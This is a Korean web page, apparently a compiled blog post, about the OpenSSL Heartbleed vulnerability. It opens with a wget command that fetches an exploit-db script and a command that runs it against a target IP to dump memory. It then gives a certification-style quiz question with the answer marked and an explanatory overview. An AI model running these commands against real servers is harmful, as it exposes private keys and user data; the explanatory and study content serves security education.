wget https://www.exploit-db.com/download/32745.py
다운로드 후 아래 명령어를 입력한다.
python heartbleed.py 192.168.100.138 5000 [ 타깃 IP ] 몇 바이트의 메모리를 훔쳐볼 것인지?
여기까지 이렇게 타깃의 메모리를 훔쳐볼 수 있는 것을 확인했다.
그럼 이것을 이용해 어떤 것을 할 수 있는지 알아보자.
[ 다음 글 ] 에서 실습이 이어집니다.728×90
애플리케이션 보안 – 하트블리드 (Heartbleed)
반응형
다음 보기가 설명하는 취약성은? 4
[보기]이것은 암호화를 위해 대중적으로 사용되는 OpenSSL 라이브 러리에서 서버 메모리 중 64KB의 데이터에 대해 공격자가 덤프를 뜰 수 있게 하는 취약점이다. 해당 취약점을 이용하여 시스템 메모리에 저장되어 있는 무의미한 작은 정보들을 지속적으로 유출시키면, 이러한 무의미한 정보들이 모여 하나의 완전한 유의미한 정보가 될 수 있다. 특히 개인키의 경우 암 호화하여 전달되는 데이터를 모두 열람할 수 있는 핵심정보 이기 때문에 매우 심각한 취약성이라 할 수 있다.
① Poodle
② Ghost
③ Shellshock
④ Heartbleed
하드블리드(HeartBleed) 명칭의 유래
HeartBleed 명칭의 유래는 해당 취약점으로 공격할 때마다 작은 정보들이 새어 나오는 것을, 심장이 한번씩 뛸 때마다(HeartBeat) 심장에서 피가 한 방울씩 떨어지는 치명적인 심장출혈(HeartBleed)로 비유하여 명명한 것입니다.
‘하트블리드(HeartBleed)’ 취약점이란?
HeartBleed란 OpenSSL 1.0.1 버전에서 발견된 매우 위험한 취약점 입니다. OpenSSL을 구성하고 있는 TLS/DTLS의 HeartBeat 확장규격에서 발견된 취약점으로, 해당 취약점을 이용하면 서버와 클라이언트 사이에 주고받는 정보들을 탈취할 수 있습니다.
* OpenSSL은 정해진 규격의 네트워크 보안 프로토콜을 범용 라이브러리로 구현하기 위한 목적으로 만들어졌으며, SSL이나 TLS를 이용한 암호화를 구현할 수 있습니다. 강력한 암호화 기능을 제공하기 때문에, 보안이 중요한 대형 포털서비스, 이메일 서비스, 금융권 등에서 데이터 통신 시 OpenSSL을 사용하고 있습니다.
HeartBleed 취약점은 OpenSSL 라이브러리의 구조적인 취약점입니다.
OpenSSL의 확장규격 중 하나인 HeartBeat는 서버와 클라이언트 사이에 무슨 문제는 없는지 또는 안정적인 연결을 유지하기 위한 목적으로 일정 신호를 주고 받을 때 사용하는 확장규격입니다.
클라이언트는 HeartBeat 확장프로토콜을 이용하여 임의의 정보를 그 정보의 길이와 함께 서버에 전송합니다. 그 후 서버는 전달받은 정보를 다시 클라이언트에 전달해 주는 과정을 통해 자신의 존재 사실을 알려줍니다.
이 때 클라이언트로부터 전달받은 정보와 그 정보의 길이가 일치하지 않는다면, 클라이언트의 요청에 서버는 응답을 하지 않는 것이 정상적인 동작입니다.
HeartBleed 취약점
서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 정보를 보내주면서 문제가 발생
그림1. 정상적인 요청과 정상적인 반환값
그림2. payload의 길이를 조작하여 정보 유출
* 페이로드(Payload) : 실제 전송되는 데이터
쉽게 설명하자면, 클라이언트가 ‘사과 한 개가 담긴 사과박스’를 ‘사과가 10개 들어있다는 거짓 정보’와 함께 서버에 전달합니다. 이 정보를 받은 서버는 사과가 1개가 들어있는 박스를 확인하면 사과가 10개라는 정보는 거짓이기 때문에 그 요청에 응답을 해서는 안됩니다. 하지만 서버는 그러한 정보를 검증하지 않은 채 ‘사과 한 개가 있는 박스를 받았지만, 사과가 10개 있다고 착각’해 클라이언트로부터 전달받은 1개의 사과에 자신이 갖고 있던 사과 9개를 추가하여 클라이언트에게 전달하게 됩니다.
이것이 바로 HeartBleed 취약점이 발생되는 과정입니다.
클라이언트는 한번에 최대 64KB의 정보를 요청할 수 있습니다. 실제로 64KB에 들어갈 수 있는 정보는 매우 작습니다. 그러나 해당 취약점을 이용하여 시스템 메모리에 저장되어 있는 무의미한 작은 정보들을 지속적으로 유출시키면, 이러한 무의미한 정보들이 모여 하나의 완전한 유의미한 정보가 될 수 있습니다. 이러한 과정을 통하여 공격자는 시스템 메모리에 저장되어 있는 정보들을 유출시킬 수 있으며, 이 정보들에는 개인키, 관리자 정보 등 민감한 정보들도 포함되어 있습니다. 특히 개인키의 경우 암호화하여 전달되는 데이터를 모두 열람할 수 있는 핵심정보이기 때문에 사안이 매우 심각하다고 할 수 있습니다.
출처: https://blog.alyac.co.kr/76 [이스트시큐리티 알약 블로그]
반응형
키워드에 대한 정보 하트 블리드
다음은 Bing에서 하트 블리드 주제에 대한 검색 결과입니다. 필요한 경우 더 읽을 수 있습니다.
이 기사는 인터넷의 다양한 출처에서 편집되었습니다. 이 기사가 유용했기를 바랍니다. 이 기사가 유용하다고 생각되면 공유하십시오. 매우 감사합니다!
사람들이 주제에 대해 자주 검색하는 키워드 하트블리드 해킹시연
- hacking
- it security
- heartbleed
- rekcah
- jrich
하트블리드 #해킹시연
YouTube에서 하트 블리드 주제의 다른 동영상 보기
주제에 대한 기사를 시청해 주셔서 감사합니다 하트블리드 해킹시연 | 하트 블리드, 이 기사가 유용하다고 생각되면 공유하십시오, 매우 감사합니다.